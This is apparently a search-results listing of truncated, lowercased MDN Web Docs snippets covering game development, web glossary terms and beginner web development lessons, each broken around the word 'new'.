<script async>code</script> and var script = document.createelement('script'); script.innerhtml = "code"; document.body.appendchild(script); both are counted as 'inline' scripts and get compiled and then run immediately. what if your code is in a js string? instead of using eval or innerhtml, both of which trigger synchronous compilation, you should use a blob with an object url: var blob =
new blob([codestring]); var script = document.createelement('script'); var url = url.createobjecturl(blob); script.onload = script.onerror = function() { url.revokeobjecturl(url); }; script.src = url; document.body.appendchild(script); the setting of src rather than innerhtml is what makes this script async. ...
Mobile touch controls - Game development
he field of activity bigger without covering half of the screen with button images. for example, tapping on the right side of the screen will fire the weapon: this.buttonshoot = this.add.button(this.world.width*0.5, 0, 'button-alpha', null, this); this.buttonshoot.oninputdown.add(this.goshootpressed, this); this.buttonshoot.oninputup.add(this.goshootreleased, this); the code above will create a
new button using a transparent image that covers the right half of the screen. you can assign functions on input down and input up separately if you'd like to perform more complicated actions, but in this game touching the right side of the screen will simply fire the bullets to the right — this is all we need in this case. moving the player could be managed by creating the four directional button...
Unconventional controls - Game development
e keys? you can check them by printing the responses out in the console: window.addeventlistener("keydown", function(event) { console.log(event.keycode); }, this); every key pressed on the remote will show its key code in the console. you can also check this handy cheat sheet seen below if you're working with panasonic tvs running firefox os: you can add moving between states, starting a
new game, controlling the ship and blowing stuff up, pausing and restarting the game. all that is needed is checking for key presses: window.addeventlistener("keydown", function(event) { switch(event.keycode) { case 8: { // pause the game break; } case 588: { // detonate bomb break; } // ... } }, this); ...
Tiles and tilemaps overview - Game development
quare tilemaps implementation: scrolling maps. layers the visual grid is often made up of several layers. this allows us to have a richer game world with less tiles, since the same image can be used with different backgrounds. for instance, a rock that could appear on top of several terrain types (like grass, sand or brick) could be included on it's own separate tile which is then rendered on a
new layer, instead of several rock tiles, each with a different background terrain. if characters or other game sprites are drawn in the middle of the layer stack, this allows for interesting effects such as having characters walking behind trees or buildings. the following screenshot shows an example of both points: a character appearing behind a tile (the knight appearing behind the top of a tree...
Build the brick field - Game development
rows (r), which in turn will each contain an object containing the x and y position to paint each brick on the screen. add the following just below your variables: var bricks = []; for(var c=0; c<brickcolumncount; c++) { bricks[c] = []; for(var r=0; r<brickrowcount; r++) { bricks[c][r] = { x: 0, y: 0 }; } } the code above will loop through the rows and columns and create the
new bricks. note that the brick objects will also be used for collision detection purposes later. brick drawing logic now let's create a function to loop through all the bricks in the array and draw them on the screen. our code might look like this: function drawbricks() { for(var c=0; c<brickcolumncount; c++) { for(var r=0; r<brickrowcount; r++) { bricks[c][r].x = 0; ...
Create the Canvas and draw on it - Game development
ting this lesson at gamedev-canvas-workshop/lesson1.html. before we can start writing the game's functionality, we need to create a basic structure to render the game inside. this can be done using html and the <canvas> element. the game's html the html document structure is quite simple, as the game will be rendered entirely on the <canvas> element. ...
Animations and tweens - Game development
hey are hit by the ball. go to your ballhitbrick() function, find your brick.kill(); line, and replace it with the following: var killtween = game.add.tween(brick.scale); killtween.to({x:0,y:0}, 200, phaser.easing.linear.none); killtween.oncomplete.addonce(function(){ brick.kill(); }, this); killtween.start(); let's walk through this so you can see what's happening here: when defining a
new tween you have to specify which property will be tweened — in our case, instead of hiding the bricks instantly when hit by the ball, we will make their width and height scale to zero, so they will nicely disappear. to the end, we use the add.tween() method, specifying brick.scale as the argument as this is what we want to tween. the to() method defines the state of the object at the end of the...
SPA (Single-page application) - MDN Web Docs Glossary: Definitions of Web-related terms
an spa (single-page application) is a web app implemention that loads only a single web document, and then updates the body content of that single document via javascript apis such as xmlhttprequest and fetch when different content is to be shown. this therefore allows users to use websites without loading whole
new pages from the server, which can result in performance gains and a more dynamic experience, with some tradeoff disadvantages such as seo, more effort required to maintain state, implement navigation, and do meaningful performance monitoring. learn more general knowledge some of the most popular spa frameworks include: react angular vue.js ...
Session Hijacking - MDN Web Docs Glossary: Definitions of Web-related terms
weak session-id generation algorithm insecure handling indefinite session expiration time short session ids transmission in plain text session hijacking process sniff, that is perform a man-in-the-middle (mitm) attack, place yourself between victim and server. monitor packets flowing between server and user. break the victim machine's connection. take control of the session. inject
new packets to the server using the victim's session id. protection against session hijacking create a secure communication channel with ssh (secure shell) pass authentication cookies over https connection implement logout functionality so the user can end the session generate the session id after successful login pass encrypted data between the users and the web server use a string or long...
Shim - MDN Web Docs Glossary: Definitions of Web-related terms
a shim is a piece of code used to correct the behavior of code that already exists, usually by adding
new api that works around the problem. this differs from a polyfill, which implements a
new api that is not supported by the stock browser as shipped. learn more general knowledge shim on wikipedia ...
Signature (security) - MDN Web Docs Glossary: Definitions of Web-related terms
message, the signing process first generates a digital signature linked to the signing entity, using the entity's private key. on receiving the message, the verification process authenticates the sender - uses the sender's public key to decrypt the signature and recover the hash, which can only be created with the sender's private key, and checks message integrity - compares the hash with a
newly calculated one from the received document (the two hashes will differ if the document has been tampered with) the system fails if the private key is compromised or the recipient is deceitfully given the wrong public key. learn more general knowledge digital signature on wikipedia see digest, encryption ...
Slug - MDN Web Docs Glossary: Definitions of Web-related terms
a slug is the unique identifying part of a web address, typically at the end of the url. in the context of mdn, it is the portion of the url following "<locale>/docs/". it may also just be the final component when a
new document is created under a parent document; for example, this page's slug is glossary/slug . ...
Smoke Test - MDN Web Docs Glossary: Definitions of Web-related terms
a smoke test consists of functional or unit tests of critical software functionality. smoke testing comes before further, in-depth testing. smoke testing answers questions like "does the program start up correctly?" "do the main control buttons function?" "can you save a simple blank
new test user account?" if this basic functionality fails, there is no point investing time in more detailed qa work at this stage. learn more general knowledge smoke testing (software) on wikipedia ...
Static method - MDN Web Docs Glossary: Definitions of Web-related terms
notifications api, the notification.requestpermission() method is called on the actual notification constructor itself — it is a static method: let promise = notification.requestpermission(); the notification.close() method on the other hand, is an instance method — it is called on an specific notification object instance to close the system notification it represents: let mynotification =
new notification('this is my notification'); mynotification.close(); ...
Symbol - MDN Web Docs Glossary: Definitions of Web-related terms
ol("sym") let sym2 = symbol("sym") console.log(sym1 === sym2) // returns "false" // symbols are guaranteed to be unique. // even if we create many symbols with the same description, // they are different values. note: if you are familiar with ruby's (or another language) that also has a feature called "symbols", please don’t be misguided. javascript symbols are different. symbol type is a
new feature in ecmascript 2015. there is no ecmascript 5 equivalent for symbol. in some programming languages, the symbol data type is referred to as an "atom." symbols don't "auto-convert" to strings most values in javascript support implicit conversion to a string. for instance, we can alert almost any value, and it will work. symbols are special. they don’t auto-convert. for example: let sy...
TCP slow start - MDN Web Docs Glossary: Definitions of Web-related terms
ies are initially unknown, and slowly increases the volume of information diffused until the network's maximum capacity is found. to implement tcp slow start, the congestion window (cwnd) sets an upper limit on the amount of data a source can transmit over the network before receiving an acknowledgment (ack). the slow start threshold (ssthresh) determines the (de)activation of slow start. when a
new connection is made, cwnd is initialized to one tcp data or acknowledgment packet, and waits for an acknowledgement, or ack. when that ack is received, the congestion window is incremented until the cwnd is less than ssthresh. slow start also terminates when congestion is experienced. congestion control congestion itself is a state that happens within a network layer when the message traffic is ...
Thread - MDN Web Docs Glossary: Definitions of Web-related terms
tage of modern multi-core processors. a special type of worker, called a service worker, can be created which can be left behind by a site—with the user's permission—to run even when the user isn't currently using that site. this is used to create sites capable of notifying the user when things happen while they're not actively engaged with a site. such as notifying a user they have received
new email even though they're not currently logged into their mail service. overall it can be observed these threads within our operating system are extremely helpful. they help minimise the context switching time, enables more efficient communication and allows further use of the multiprocessor architecture. ...
Truthy - MDN Web Docs Glossary: Definitions of Web-related terms
when encountered in a boolean context. all values are truthy unless they are defined as falsy (i.e., except for false, 0, -0, 0n, "", null, undefined, and nan). javascript uses type coercion in boolean contexts. examples of truthy values in javascript (which will be coerced to true in boolean contexts, and thus execute the if block): if (true) if ({}) if ([]) if (42) if ("0") if ("false") if (
new date()) if (-42) if (12n) if (3.14) if (-3.14) if (infinity) if (-infinity) specifications specification ecmascript (ecma-262)the definition of 'toboolean abstract operation' in that specification. ...
Web standards - MDN Web Docs Glossary: Definitions of Web-related terms
eb standards are rules established by international standards bodies and defining how how the web works (and sometimes controlling the internet as well). several standards bodies are responsible for defining different aspects of the web, and all the standards must coordinate to keep the web maximally usable and accessible. web standards also must evolve to improve the current status and adapt to
new circumstances. this non-exhaustive list gives you an idea of which standards websites and network systems must conform to: ietf (internet engineering task force): internet standards (std), which among other things govern set-up and use of uris, http, and mime w3c: specifications for markup language (e.g., html), style definitions (i.e., css), dom, accessibility iana (internet assigned numbe...
World Wide Web - MDN Web Docs Glossary: Definitions of Web-related terms
accessible through the internet. the web is not the same as the internet: the web is one of many applications built on top of the internet. tim berners-lee proposed the architecture of what became known as the world wide web. he created the first web server, web browser, and webpage on his computer at the cern physics research lab in 1990. in 1991, he announced his creation on the alt.hypertext
newsgroup, marking the moment the web was first made public. the system we know today as "the web" consists of several components: the http protocol governs data transfer between a server and a client. to access a web component, a client supplies a unique universal identifier, called a url (uniform resource location) or uri (uniform resource identifier) (formally called universal document identi...
XSLT - MDN Web Docs Glossary: Definitions of Web-related terms
extensible stylesheet language transformations (xslt) is a declarative language used to convert xml documents into other xml documents, html, pdf, plain text, and so on. xslt has its own processor that accepts xml input, or any format convertible to an xquery and xpath data model. the xslt processor produces a
new document based on the xml document and an xslt stylesheet, making no changes to the original files in the process. learn more technical reference xslt on wikipedia xslt documentation on mdn ...
Cacheable - MDN Web Docs Glossary: Definitions of Web-related terms
not all http responses can be cached, these are the following constraints for an http response to be cached: the method used in the request is itself cacheable, that is either a get or a head method. a response to a post or patch request can also be cached if freshness is indicated and the content-location header is set, but this is rarely implemented. ...
About Scriptable Interfaces - Interfaces
erfaces allow xpcom components to expose their functionality to the outside world while hiding the inner details of the component implementation. interfaces are written in an interface description language. when we label an interface as scriptable, we're saying that components exporting this interface can be referenced (through this interface) from scripts (e.g javascript), and that we can write
new components implementing the interface using script languages. xpconnect xpconnect is a technology that allows scriptable interfaces to be used/implemented from/in javascript scripts. no other scripts languages are supported by xpconnect. python there's an extension extensions/python that bridges the gap between xpcom and python, allowing scriptable interfaces to be used/implemented from/in py...
Assessment: Accessibility troubleshooting - Learn web development
prerequisites: basic computer literacy, a basic understanding of html, css, and javascript, an understanding of the previous articles in the course. objective: to test basic knowledge of accessibility fundamentals. starting point to get this assessment started, you should go and grab the zip containing the files that comprise the example. decompress the contents into a
new directory somewhere on your local computer. alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html, css, and javascript into one of these online editors. if the online editor you are using doesn't have a separate css/js panel, feel free to put them in appropriate <style> / <script> elements. the finished assessment site should look like so: y...
Mobile accessibility - Learn web development
on android and voiceover on ios. android talkback the talkback screen reader is built into the android operating system. to turn it on, look up what phone model and android version you have, and then look up where the talkback menu is. it tends to differ widely between android versions and even between different phone models. some phone manufacturers (e.g. samsung) don't even have talkback in
newer phones, and instead opted for their own screen reader. when you've found the talkback menu, press the slider switch to turn talkback on. follow any additional on-screen prompts that you are presented with. when talkback is turned on, your android device's basic controls will be a bit different. for example: single-tapping an app will select it, and the device will read out what the app is.
Test your skills: WAI-ARIA - Learn web development
sk, we return to an example we previously saw in the css and javascript skilltest. as before, we have a simple app that presents a list of animal names. clicking one of the animal names causes a further description of that animal to appear in a box below the list. here, we are starting with a mouse- and keyboard-accessible version. the problem we have now is that when the dom changes to show a
new decription, screenreaders cannot see what has changed. can you update it so that description changes are annouced by the screenreader? download the starting point for this task to work in your own editor or in an online editor. assessment or further help you can practice these examples in the interactive editors above. if you would like your work assessed, or are stuck and want to ask for h...
What is accessibility? - Learn web development
ility task force produces web accessibility guidelines for people with cognitive impairments. webaim has a cognitive page of relevant information and resources. the united states centers for disease control estimate that, as of 2018, 1 in 4 u.s. citizens have a disability and, of them, cognitive impairment is the most common for young people. in the u.s., “intellectual disabilities” is the
new term for “mental retardation.” in the u.k., “intellectual disabilities” is commonly “learning disabilities” or “learning difficulties”. implementing accessibility into your project a common accessibility myth is that accessibility is an expensive "added extra" to implement on a project. this myth actually can be true if either: you are trying to "retrofit" accessibility onto...
A cool-looking box - Learn web development
efore attempting this assessment, you should have already worked through all the articles in this module. objective: to test comprehension of the css box model and other box-related features such as borders and backgrounds. starting point to get this assessment started, you should: make local copies of the starting html and css — save them as index.html and style.css in a
new directory. alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html and fill in the css into one of these online editors. if the online editor you are using doesn't have a separate css panel, feel free to put it in a <style> element in the head of the document. note: if you get stuck, then ask us for help — see the assessment or further help s...
Advanced styling effects - Learn web development
ch blends together multiple background images and colors set on a single element. mix-blend-mode, which blends together the element it is set on with elements it is overlapping — both background and content. you can find a lot more examples than are available here in our blend-modes.html example page (see source code), and on the <blend-mode> reference page. note: blend modes are also very
new, and slightly less well supported than filters. there is no support as yet in edge, and safari only supports some of the blend mode options. background-blend-mode again, let's look at some examples so we can understand this better. first, background-blend-mode — here we'll show a couple of simple <div>s, so you can compare the original with the blended version: <div> </div> <div class="mult...
Test your skills: The Cascade - Learn web development
low, however, it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. task one in this task, you need to use one of the special values we looked at in the controlling inheritance section to write a declaration in a
new rule that will reset the background color back to white, without using an actual color value. in the example below see if you can match the image above. for assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. assessment or further help you can practice these examples in the interactive editors mentioned above.
Attribute selectors - Learn web development
according to the case-sensitivity of the document language — in html's case it will be case sensitive. in the example below, the first selector will match a value that begins with a — it only matches the first list item because the other two list items start with an uppercase a. the second selector uses the case-insensitive flag and so matches all of the list items. note: there is also a
newer value s, which will force case-sensitive matching in contexts where matching is normally case-insensitive, however this is less well supported in browsers and isn't very useful in an html context. next steps now we are done with attribute selectors, you can continue on to the next article and read about pseudo-class and pseudo-element selectors. previous overview: building blocks next ...
CSS selectors - Learn web development
. for example, if i have the same css for an h1 and also a class of .special, i could write this as two separate rules. h1 { color: blue; } .special { color: blue; } i could also combine these into a selector list, by adding a comma between them. h1, .special { color: blue; } white space is valid before or after the comma. you may also find the selectors more readable if each is on a
new line. h1, .special { color: blue; } in the live example below try combining the two selectors which have identical declarations. the visual display should be the same after combining them. when you group selectors in this way, if any selector is invalid the whole rule will be ignored. in the following example, the invalid class selector rule will be ignored, whereas the h1 would still b...
Sizing items in CSS - Learn web development
e a box which is sized as 20vh and 20vw. the box contains a letter a, which has been given a font-size of 10vh. if you change the vh and vw values this will change the size of the box or font; changing the viewport size will also change their sizes because they are sized relative to the viewport. to see the example change when you change the viewport size you will need to load the example in a
new browser window that you can resize (as the embedded <iframe> that contains the example shown above is its viewport). open the example, resize the browser window, and observe what happens to the size of the box and text. sizing things according to the viewport can be useful in your designs. for example, if you want a full-page hero section to show before the rest of your content, making that part...
Styling tables - Learn web development
y the default browser styling it looks cramped, hard to read, and boring. we need to use some css to fix this up. styling our table let's work through styling our table example together. to start with, make a local copy of the sample markup, download both images (noise and leopardskin), and put the three resulting files in a working directory somewhere on your local computer. next, create a
new file called style.css and save it in the same directory as your other files. link the css to the html by placing the following line of html inside your <head>: <link href="style.css" rel="stylesheet" type="text/css"> spacing and layout the first thing we need to do is sort out the spacing/layout — default table styling is so cramped! to do this, add the following css to your style.css f...
CSS values and units - Learn web development
f your entire project uses the same one! images the <image> data type is used wherever an image is a valid value. this can be an actual image file pointed to via a url() function, or a gradient. in the example below we have demonstrated an image and a gradient in use as a value for the css background-image property. note: there are some other possible values for <image>, however these are
newer and currently have poor browser support. check out the page on mdn for the <image> data type if you want to read about them. position the <position> data type represents a set of 2d coordinates, used to position an item such as a background image (via background-position). it can take keywords such as top, left, bottom, right, and center to align items with specific bounds of a 2d box, along...
Test Your Skills: Fundamental layout comprehension - Learn web development
ut no layout, which should look something like the image seen below. this starting point has all of the content of your layout as displayed by the browser in normal flow. if you don't want to work locally then using a tool such as codepen or jsfiddle will work as well. you will need to upload the images using their assets functionality and replace the value in the src attribute to point to the
new image location. your tasks you now need to implement your layout. the tasks you need to achieve are: to display the navigation items in a row, with an equal amount of space between the items. the navigation bar should scroll with the content and then become stuck at the top of the viewport when it reaches it. the image that is inside the article should have text wrapped around it. the ...
Practical positioning examples - Learn web development
example running live at info-box.html (source code). check it out to get an idea of what you will be building in this section of the article. you might be thinking "why not just create the separate tabs as separate webpages, and just have the tabs clicking through to the separate pages to create the effect?" this code would be simpler, yes, but then each separate "page" view would actually be a
newly-loaded webpage, which would make it harder to save information across views, and integrate this feature into a larger ui design. in addition, so-called "single page apps" are becoming very popular — especially for mobile web uis — because having everything served as a single file cuts down on the number of http requests required to view all the content, thereby improving performance. note...
CSS first steps - Learn web development
eper into the structure of the language itself. we have already met many of the concepts discussed here; you can return to this one to recap if you find any later concepts confusing. how css works we have learned the basics of css, what it is for and how to write simple stylesheets. in this lesson we will take a look at how a browser takes css and html and turns that into a webpage. using your
new knowledge with the things you have learned in the last few lessons you should find that you can format simple text documents using css, to add your own style to them. this article gives you a chance to do that. ...
Styling links - Learn web development
own site (as with the first link). the text "http" should therefore only appear in external links (like the second and third ones), and we can select this with an attribute selector: a[href*="http"] selects <a> elements, but only if they have an href attribute with a value that contains "http" somewhere inside it. so that's it — try revisiting the active learning section above and trying this
new technique out! note: the href values look strange — we've used dummy links here that don't really go anywhere. the reason for this is that if we used real links, you would be able to load an external site in the <iframe> the live example is embedded in, thereby losing the example. note: don't worry if you are not familiar with backgrounds and responsive web design yet; these are explained ...
How do you make sure your website works properly? - Learn web development
b developer ➤ network) and reload the page: there's the problem, that "404" at the bottom. "404" means "resource not found", and that's why we didn't see the image. http statuses servers respond with a status message whenever they receive a request. here are the most common statuses: 200: ok the resource you asked for was delivered. 301: moved permanently the resource has moved to a
new location. you won't see this much in your browser, but it's good to know about "301" since search engines use this information a lot to update their indexes. 304: not modified the file has not changed since the last time you asked for it, so your browser can display the version from its cache, resulting in faster response times and more efficient use of bandwidth. 403: forbidden you aren't al...
What do common web layouts contain? - Learn web development
s on your webpages, and how to put them there. summary there's a reason we talk about web design. you start out with a blank page, and you can take it so many directions. and if you don't have much experience, starting out with a blank page might be a bit scary. we have over 25 years' experience and we'll give you some common rules of thumb to help you design your site. even now with the
new focus on mobile web, almost all mainstream webpages are built from these parts: header visible at the top of every page on the site. contains information relevant to all pages (like site name or logo) and an easy-to-use navigation system. main content the biggest region, containing content unique to the current page. stuff on the side 1) information complementing the main content; 2) info...
How can we design for all types of users? - Learn web development
r value in the css if they can't cope with them, so that your website is still usable if not true to your designer's vision. older browsers are on the way out anyway. note: your mileage may vary. if you have to cater to older browsers, you'll have to use ems and do a bit more math. line width there is a longstanding debate about line length on the web, but here's the story. back when we had
newspapers, printers realized that the reader's eyes would have trouble going from one line to the next if the lines were too long. the solution? columns. of course the problem doesn't go away when we switch to the web. the reader's eyes act like a shuttle going from line to line. to make it easier on people's eyes, limit line width to around 60 or 70 characters. to achieve this, you can specify a ...
How do you host your website on Google App Engine? - Learn web development
google app engine is a powerful platform that lets you build and run applications on google’s infrastructure — whether you need to build a multi-tiered web application from scratch or host a static website. here's a step-by-step guide to hosting your website on google app engine. creating a google cloud platform project to use google's tools for your own site or app, you need to create a
new project on google cloud platform. this requires having a google account. go to the app engine dashboard on the google cloud platform console and press the create button. if you've not created a project before, you'll need to select whether you want to receive email updates or not, agree to the terms of service, and then you should be able to continue. enter a name for the project, edit your ...
How do you upload your files to a web server? - Learn web development
u can see, so far there is nothing there: note: depending on your hosting provider, most of the time you'll see a page saying something like “this website is hosted by [hosting service].” when you first go to your web address. to connect your sftp client to the distant server, follow these steps: choose file > site manager... from the main menu. in the site manager window, press the
new site button, then fill in the site name as demozilla in the provided space. fill in the sftp server your host provided in the host: field. in the logon type: drop down, choose normal, then fill in your provided username and password in the relevant fields. fill in the correct port and other information. your window should look something like this: now press connect to connect to the sftp ...
How do I use GitHub Pages? - Learn web development
s. linux: usually you can pull up a terminal with ctrl + alt + t. if that doesn't work, look for terminal in an app bar or menu. this may seem a bit scary at first, but don't worry — you'll soon get the hang of the basics. you tell the computer to do something in the terminal by typing in a command and hitting enter, as seen above. creating a repo for your code next, you need to create a
new repo for your files to go in. click plus (+) in the top right of the github homepage, then choose
new repository. on this page, in the repository name box, enter a name for your code repository, for example my-repository. also fill in a description to say what your repository is going to contain. your screen should look like this: click create repository; this should bring you to the follow...
What is a Domain Name? - Learn web development
buying a domain name who owns a domain name? you cannot “buy a domain name”. this is so that unused domain names eventually become available to use again by someone else. if every domain name was bought, the web would quickly fill up with unused domain names that were locked and couldn't be used by anyone. instead, you pay for the right to use a domain name for one or more years. you can re
new your right, and your re
newal has priority over other people's applications. but you never own the domain name. companies called registrars use domain name registries to keep track of technical and administrative information connecting you to your domain name. note : for some domain name, it might not be a registrar which is in charge of keeping track. for instance, every domain name under .fir...
What software do I need to build a website? - Learn web development
virtual machines so you can test your site in the most common environments. alternatively, you can set up your own virtual machine, but that takes some expertise. (if you're going that route, microsoft has some tools for developers including a ready-to-use virtual machine at modern.ie.) by all means run some tests on a real device, especially on real mobile devices. mobile device simulation is a
new, evolving technology and less reliable than desktop simulation. mobile devices cost money, of course, so we suggest taking a look at the open device lab initiative. you can also share devices if you want to test on many platforms without spending too much. next steps some of this software is free, but not all of it. find out how much it costs to do something on the web. if you'd like to lear...
Common questions - Learn web development
ble. at its most basic, the internet is a massive network of computers communicating with each other. this article discusses how it works, in broad terms. what is the difference between webpage, website, web server, and search engine? in this article we describe various web-related concepts: webpages, websites, web servers, and search engines. these terms are often a source of confusion for
newcomers to the web, or are used incorrectly. let's discover what they actually mean! what are hyperlinks? in this article, we'll go over what hyperlinks are and why they matter. what is a url? with hypertext and http, url is a key concept when it comes to the internet. it is the mechanism used by browsers to retrieve any published resource on the web. what is a domain name? domain...
Sending form data - Learn web development
ause the data will not be encrypted. the names and values of the non-file form controls are sent to the server as name=value pairs joined with ampersands. the action value should be a file on the server that can handle the incoming data, including ensuring server-side validation. the server then responds, generally handling the data and loading the url defined by the action attribute, causing a
new page load (or a refresh of the existing page, if the action points to the same page). how the data is sent depends on the method attribute. the method attribute the method attribute defines how data is sent. the http protocol provides several ways to perform a request; html form data can be transmitted via a number of different methods, the most common being the get method and the post method ...
Test your skills: Form validation - Learn web development
f one or more letters (lower or upper case) or numbers, followed by "@bigcorp.eu". remove the length validation from the phone number field if it is present, and set it so that it accepts 10 digits — either 10 digits in a row, or a pattern of three digits, three digits, then four digits, separated by either spaces, dashes, or dots. note: regular expressions are really challenging if you are
new to them, but don't despair — have a go and see where you get to; there is no shame in asking for some help. you can find everything you need to answer these questions at our regular expression reference, and by searching on stack overflow. again, to help you might want to consider adding some simple css to show when a form field is valid or invalid. download the starting point for this task...
Test your skills: HTML5 controls - Learn web development
ur the html5 input types article. note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. html5 controls 1 first let's explore some of the
new html5 input types. create appropriate inputs for a user to update their details for: email website phone number favourite color try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. html5 controls 2 next, we want you to implement a slider control to allow the user to choose a m...
UI pseudo-classes - Learn web development
content is placed relative to an element's formatting box, but form inputs work more like replaced elements and therefore don't have one), we will add an empty <span> to hang the generated content on: <div> <label for="fname">first name: </label> <input id="fname" name="fname" type="text" required> <span></span> </div> the immediate problem with this was that the span was dropping onto a
new line below the input because the input and label are both set with width: 100%. to fix this we style the parent <div> to become a flex container, but also tell it to wrap its contents onto
new lines if the content becomes too long: fieldset > div { margin-bottom: 20px; display: flex; flex-flow: row wrap; } the effect this has is that the label and input sit on separate lines because they ...
How the Web works - Learn web development
the client a "200 ok" message, which means "of course you can look at that website! here it is", and then starts sending the website's files to the browser as a series of small chunks called data packets (the shop gives you your goods, and you bring them back to your house). the browser assembles the small chunks into a complete web page and displays it to you (the goods arrive at your door —
new shiny stuff, awesome!). dns explained real web addresses aren't the nice, memorable strings you type into your address bar to find your favorite websites. they are special numbers that look like this: 63.245.215.20. this is called an ip address, and it represents a unique location on the web. however, it's not very easy to remember, is it? that's why domain name servers were invented. these a...
What will your website look like? - Learn web development
do?" first things first: planning before doing anything, you need some ideas. what should your website actually do? a website can do basically anything, but, for your first try, you should keep things simple. we'll start by creating a simple webpage with a heading, an image, and a few paragraphs. to begin, you'll need to answer these questions: what is your website about? do you like dogs,
new york, or pac-man? what information are you presenting on the subject? write a title and a few paragraphs and think of an image you'd like to show on your page. what does your website look like, in simple high-level terms? what's the background color? what kind of font is appropriate: formal, cartoony, bold and loud, subtle? note: complex projects need detailed guidelines that go into all the...
Tips for authoring fast-loading HTML pages - Learn web development
these tips are based on common knowledge and experimentation. an optimized web page not only provides for a more responsive site for your visitors but also reduces the load on your web servers and internet connection. this can be crucial for high volume sites or sites which have a spike in traffic due to unusual circumstances such as breaking
news stories. optimizing page load performance is not just for content which will be viewed by narrowband dial-up or mobile device visitors. it is just as important for broadband content and can lead to dramatic improvements even for your visitors with the fastest connections. tips reduce page weight page weight is by far the most important factor in page-load performance. reducing page weight through the elimination of unnecessary whitespa...
Use JavaScript within a webpage - Learn web development
liar with how to create a basic html document. objective: learn how to trigger javascript in your html file, and learn the most important best practices for keeping javascript accessible. about javascript javascript is a programming language mostly used client-side to make webpages interactive. you can create amazing webpages without javascript, but javascript opens up a whole
new level of possibilities. in this article we're going over the html code you need to make javascript take effect. if you want to learn javascript itself, you can start with our javascript basics article. if you already know something about javascript or if you have a background with other programming languages, we suggest you jump directly into our javascript guide. how to trigger javascript fr...
Use HTML to solve common problems - Learn web development
how to create a basic html document how to divide a webpage into logical sections how to set up a proper structure of headings and paragraphs basic text-level semantics html specializes in providing semantic information for a document, so html answers many questions you might have about how to get your message across best in your document. ...
Adding vector graphics to the Web - Learn web development
nly recent browsers recognize) to reference the svg. this being the case, only supporting browsers will load the svg — older browsers will load the png instead: <img src="equilateral.png" alt="triangle with equal sides" srcset="equilateral.svg"> you can also use svgs as css background images, as shown below. in the below code, older browsers will stick with the png that they understand, while
newer browsers will load the svg: background: url("fallback.png") no-repeat center; background-image: url("image.svg"); background-size: contain; like the <img> method described above, inserting svgs using css background images means that the svg can't be manipulated with javascript, and is also subject to the same css limitations. if your svgs aren't showing up at all, it might be because your se...
Mozilla splash page - Learn web development
nd embedding module. objective: to test knowledge around embedding images and video in web pages, frames, and html responsive image techniques. starting point to start off this assessment, you need to grab the html and all the images available in the mdn-splash-page-start directory on github. save the contents of index.html in a file called index.html on your local drive, in a
new directory. then save pattern.png in the same directory (right click on the image to get an option to save it.) access the different images in the originals directory and save them in the same way; you'll want to save them in a different directory for now, as you'll need to manipulate (some of) them using a graphics editor before they're ready to be used. alternatively, you could use an online t...
Assessment: Structuring planet data - Learn web development
d get you to structure it into an html table. prerequisites: before attempting this assessment you should have already worked through all the articles in this module. objective: to test comprehension of html tables and associated features. starting point to start the assessment, make local copies of blank-template.html, minimal-table.css, and planets-data.txt in a
new directory in your local computer. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. note: alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html, css and javascript into one of these online editors. if the online editor you are using doesn't have separate javascript/css panels, fee...
Structuring the web with HTML - Learn web development
to build websites, you should know about html — the fundamental technology used to define the structure of a webpage. html is used to specify whether your web content should be recognized as a paragraph, list, heading, link, image, multimedia player, form, or one of many other available elements or even a
new element that you define. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites before starting this topic, you should have at least basic familiarity with using computers and using the web passively (i.e. just looking at it, consuming the content). you should have a basic work environment set up as detailed in installing basic software, and understan...
Asynchronous JavaScript - Learn web development
ynchronous javascript: timeouts and intervals here we look at the traditional methods javascript has available for running code asychronously after a set time period has elapsed, or at a regular interval (e.g. a set number of times per second), talk about what they are useful for, and look at their inherent issues. handling async operations gracefully with promises promises are a comparatively
new feature of the javascript language that allow you to defer further actions until after the previous action has completed, or respond to its failure. this is really useful for setting up a sequence of operations to work correctly. this article shows you how promises work, where you'll see them in use in webapis, and how to write your own. making asynchronous programming easier with async and awai...
Looping code - Learn web development
orever, and either the browser will force it to stop, or it will crash. this is called an infinite loop. active learning: launch countdown! in this exercise, we want you to print out a simple launch countdown to the output box, from 10 down to blastoff. specifically, we want you to: loop from 10 down to 0. we've provided you with an initializer — let i = 10;. for each iteration, create a
new paragraph and append it to the output <div>, which we've selected using const output = document.queryselector('.output');. in comments, we've provided you with three code lines that need to be used somewhere inside the loop: const para = document.createelement('p'); — creates a
new paragraph. output.appendchild(para); — appends the paragraph to the output <div>. para.textcontent =...
Test your skills: Events - Learn web development
note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version). dom manipulation: considered useful some of the questions below require you to write some dom manipulation code to complete them — such as creating
new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page — all via javascript. we haven't explicitly taught this yet in the course, but you'll have seen some examples that make use of it, and we'd like you to do some research into what dom apis you need to successfully answer the questions. a good starting place is our ma...
Test your skills: Functions - Learn web development
note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version). dom manipulation: considered useful some of the questions below require you to write some dom manipulation code to complete them — such as creating
new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page — all via javascript. we haven't explicitly taught this yet in the course, but you'll have seen some examples that make use of it, and we'd like you to do some research into what dom apis you need to successfully answer the questions. a good starting place is our ma...
Test your skills: Loops - Learn web development
't provide live editable versions of these tasks because of the risk of creating infinite loops and crashing the assessment page! if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. dom manipulation: considered useful some of the questions below require you to write some dom manipulation code to complete them — such as creating
